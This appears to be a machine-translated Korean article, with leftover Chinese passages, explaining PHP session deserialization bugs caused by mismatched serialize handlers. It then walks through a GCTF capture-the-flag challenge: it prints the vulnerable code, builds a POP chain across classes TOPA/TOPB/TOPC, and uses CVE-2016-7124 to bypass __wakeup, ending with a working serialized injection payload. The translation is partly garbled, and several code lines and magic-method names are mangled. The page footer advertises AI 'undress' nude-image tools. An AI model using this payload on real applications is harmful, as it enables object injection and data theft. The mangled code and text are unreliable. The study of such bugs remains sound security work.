PHP의 세션 역직렬화 취약점에 대한 간략한 토론
이 글은 주로 PHP의 sessiondeserialization 취약점을 소개합니다. 필요한 친구는 참고하면 됩니다.
php.ini에는 세 가지 구성 항목이 있습니다.
위 옵션은 의 옵션과 동일합니다. 세션 저장 및 시퀀스 저장과 관련된 PHP 옵션입니다.
xampp 컴포넌트를 사용한 설치에서 위 구성 항목은 다음과 같이 설정됩니다.
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
위 구성에서는 기본 PHP 외에 session.serialize_handler를 사용하여 세션의 직렬화 엔진을 설정합니다. 엔진에는 다른 엔진이 있으며, 다른 엔진에 해당하는 세션 저장 방법이 다릅니다.
php_binary: 저장 방식은 키 이름의 길이에 해당하는 ASCII 문자 + 키 이름 + serialize() 함수에 의해 직렬화된 값
php: 저장 방식은 키 이름 + 세로 막대 + serialize() 함수 직렬화된 값
php_serialize (php>5.5.4): 저장 방법은 PHP에서 serialize() 함수
로 직렬화된 값을 기본으로 사용하는 것입니다. 다른 엔진으로 수정하려면 ini_set('session.serialize_handler', '설정해야 할 엔진');을 추가하면 됩니다. 샘플 코드는 다음과 같습니다.
session 디렉터리는 /var/lib/php/sessions
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
php_serialize 엔진 아래 세션 파일에 저장된 데이터는 다음과 같습니다.
a:1:{s:4:"name";s:6:"spoock";}php 파일 엔진 아래의 내용은 :
name|s:6:"spoock";
php_binary 엔진 아래의 파일 내용은 다음과 같습니다.
names:6:"spoock";
이름의 길이가 4이기 때문에 4는 ASCII 테이블의 EOT에 해당합니다. php_binary의 저장 규칙에 따르면 마지막 것은 names:6:"spoock";입니다. (갑자기 웹 페이지에서 ASCII 값이 4인 문자를 표시할 수 없다는 사실을 발견했습니다. ASCII 표를 직접 확인하시기 바랍니다.)
PHP 세션의 직렬화 위험
Session 구현에는 문제가 없습니다. PHP의 경우, 피해는 주로 프로그래머가 세션을 부적절하게 사용하여 발생합니다.
저장된 $_SESSION 데이터를 역직렬화하기 위해 PHP에서 사용하는 엔진이 직렬화에 사용되는 엔진과 다른 경우 데이터가 올바르게 역직렬화되지 않습니다. 신중하게 구성된 데이터 패킷을 통해 프로그램 검증을 우회하거나 일부 시스템 방법을 실행할 수 있습니다. 예:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';php 파일 예:
로그인 후 복사
접속 후 세션 파일의 내용은 다음과 같습니다.
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}그러나 이때 시뮬레이션에서는 다른 PHP 엔진을 사용합니다. 다른 페이지에서 읽으려면 내용은 다음과 같습니다. (기본적으로 세션 파일을 읽는 데는 PHP 엔진이 사용됩니다.)
a; } } // var_dump($_SESSION);
이 페이지를 방문하여 xx
xxarray(1) {
["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
}를 출력할 때 사용하기 때문입니다. PHP 엔진에서는 |를 키와 값 구분 기호로 사용하고 a:1:{s:4:"ryat";s:30:"을 SESSION 키로 사용하고 O:1:"을 사용합니다. A":1:{s:1:" a";s:2:"xx";}를 값으로 지정한 다음 역직렬화하면 마침내 클래스 A를 얻게 됩니다.
이는 직렬화 및 역직렬화 PHP 세션 직렬화 취약점의 원인입니다. PHP 엔진을 사용하여 페이지를 로드할 때 세션이 세션의 콘텐츠를 읽고 역직렬화하여 출력 없이 취약점이 트리거됩니다. GCTF에 대한 취약점 분석:
index.php에는 다음이 포함됩니다.
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(FILE);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2</title>
</head>
<body><form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function construct(){
$this->attr = null;
$this->obj = null;
}
function toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function wakeup(){
$this->attr = null;
$this->obj = null;
}
function destruct(){
echo $this->attr;
}
}
*/
아이디어는 다음과 같습니다.
이 질문에서는 TOPC를 구성하며, 소멸 중에 가 호출됩니다. echo $this->attr;;
echo $this->attr;；
将attr赋值为TOPB对象，在echo TOPB的时候会自动调用tostring魔术方法
在tostring中会调用unserialize($this->attr),因为后面用到token和ticket，所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;，即可绕过判断。
至于为什么(string)$this->obj
unserialize($this->attr)를 호출합니다. 토큰과 티켓은 나중에 사용되므로 분명히 TOPA 개체입니다. 나중에 판단하려면 $this->obj->token === $this->obj->ticket이 필요하므로 직렬화 중에 포인터 참조가 이루어지므로 $a - >ticket = &$a->token;, 판단을 우회할 수 있습니다 (string)$this->obj가 플래그를 출력하는 이유는 로그인은 tostring일 수 있습니다.
역직렬화된
에는 내부 매개변수를 지우는 wakeup() 함수가 있습니다. CVE: CVE-2016-7124를 통해 우회할 수 있는지 물었습니다. Object의 수량을 나타내는 필드를 실제 필드보다 큰 값으로 변경하면 wakeup 기능을 우회할 수 있습니다.
최종 코드:
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}위 내용은 PHP의 세션 역직렬화 취약점에 대한 간략한 토론의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!
핫 AI 도구
Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱
AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.
Undress AI Tool
무료로 이미지를 벗다
Clothoff.io
AI 옷 제거제
Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!
인기 기사
뜨거운 도구
메모장++7.3.1
사용하기 쉬운 무료 코드 편집기
SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.
스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경
드림위버 CS6
시각적 웹 개발 도구
SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)
PHP : 웹 개발의 핵심 언어
Apr 13, 2025 am 12:08 AM
PHP는 서버 측에서 널리 사용되는 스크립팅 언어이며 특히 웹 개발에 적합합니다. 1.PHP는 HTML을 포함하고 HTTP 요청 및 응답을 처리 할 수 있으며 다양한 데이터베이스를 지원할 수 있습니다. 2.PHP는 강력한 커뮤니티 지원 및 오픈 소스 리소스를 통해 동적 웹 컨텐츠, 프로세스 양식 데이터, 액세스 데이터베이스 등을 생성하는 데 사용됩니다. 3. PHP는 해석 된 언어이며, 실행 프로세스에는 어휘 분석, 문법 분석, 편집 및 실행이 포함됩니다. 4. PHP는 사용자 등록 시스템과 같은 고급 응용 프로그램을 위해 MySQL과 결합 할 수 있습니다. 5. PHP를 디버깅 할 때 error_reporting () 및 var_dump ()와 같은 함수를 사용할 수 있습니다. 6. 캐싱 메커니즘을 사용하여 PHP 코드를 최적화하고 데이터베이스 쿼리를 최적화하며 내장 기능을 사용하십시오. 7
PHP vs. Python : 차이점 이해
Apr 11, 2025 am 12:15 AM
PHP와 Python은 각각 고유 한 장점이 있으며 선택은 프로젝트 요구 사항을 기반으로해야합니다. 1.PHP는 간단한 구문과 높은 실행 효율로 웹 개발에 적합합니다. 2. Python은 간결한 구문 및 풍부한 라이브러리를 갖춘 데이터 과학 및 기계 학습에 적합합니다.
PHP 및 Python : 두 가지 인기있는 프로그래밍 언어를 비교합니다
Apr 14, 2025 am 12:13 AM
PHP와 Python은 각각 고유 한 장점이 있으며 프로젝트 요구 사항에 따라 선택합니다. 1.PHP는 웹 개발, 특히 웹 사이트의 빠른 개발 및 유지 보수에 적합합니다. 2. Python은 간결한 구문을 가진 데이터 과학, 기계 학습 및 인공 지능에 적합하며 초보자에게 적합합니다.
PHP 실행 : 실제 예제 및 응용 프로그램
Apr 14, 2025 am 12:19 AM
PHP는 전자 상거래, 컨텐츠 관리 시스템 및 API 개발에 널리 사용됩니다. 1) 전자 상거래 : 쇼핑 카트 기능 및 지불 처리에 사용됩니다. 2) 컨텐츠 관리 시스템 : 동적 컨텐츠 생성 및 사용자 관리에 사용됩니다. 3) API 개발 : 편안한 API 개발 및 API 보안에 사용됩니다. 성능 최적화 및 모범 사례를 통해 PHP 애플리케이션의 효율성과 유지 보수 성이 향상됩니다.
PHP의 지속적인 관련성 : 여전히 살아 있습니까?
Apr 14, 2025 am 12:12 AM
PHP는 여전히 역동적이며 현대 프로그래밍 분야에서 여전히 중요한 위치를 차지하고 있습니다. 1) PHP의 단순성과 강력한 커뮤니티 지원으로 인해 웹 개발에 널리 사용됩니다. 2) 유연성과 안정성은 웹 양식, 데이터베이스 작업 및 파일 처리를 처리하는 데 탁월합니다. 3) PHP는 지속적으로 발전하고 최적화하며 초보자 및 숙련 된 개발자에게 적합합니다.
PHP와 Python : 다른 패러다임이 설명되었습니다
Apr 18, 2025 am 12:26 AM
PHP는 주로 절차 적 프로그래밍이지만 객체 지향 프로그래밍 (OOP)도 지원합니다. Python은 OOP, 기능 및 절차 프로그래밍을 포함한 다양한 패러다임을 지원합니다. PHP는 웹 개발에 적합하며 Python은 데이터 분석 및 기계 학습과 같은 다양한 응용 프로그램에 적합합니다.
PHP 대 기타 언어 : 비교
Apr 13, 2025 am 12:19 AM
PHP는 특히 빠른 개발 및 동적 컨텐츠를 처리하는 데 웹 개발에 적합하지만 데이터 과학 및 엔터프라이즈 수준의 애플리케이션에는 적합하지 않습니다. Python과 비교할 때 PHP는 웹 개발에 더 많은 장점이 있지만 데이터 과학 분야에서는 Python만큼 좋지 않습니다. Java와 비교할 때 PHP는 엔터프라이즈 레벨 애플리케이션에서 더 나빠지지만 웹 개발에서는 더 유연합니다. JavaScript와 비교할 때 PHP는 백엔드 개발에서 더 간결하지만 프론트 엔드 개발에서는 JavaScript만큼 좋지 않습니다.
PHP 및 Python : 코드 예제 및 비교
Apr 15, 2025 am 12:07 AM
PHP와 Python은 고유 한 장점과 단점이 있으며 선택은 프로젝트 요구와 개인 선호도에 달려 있습니다. 1.PHP는 대규모 웹 애플리케이션의 빠른 개발 및 유지 보수에 적합합니다. 2. Python은 데이터 과학 및 기계 학습 분야를 지배합니다.
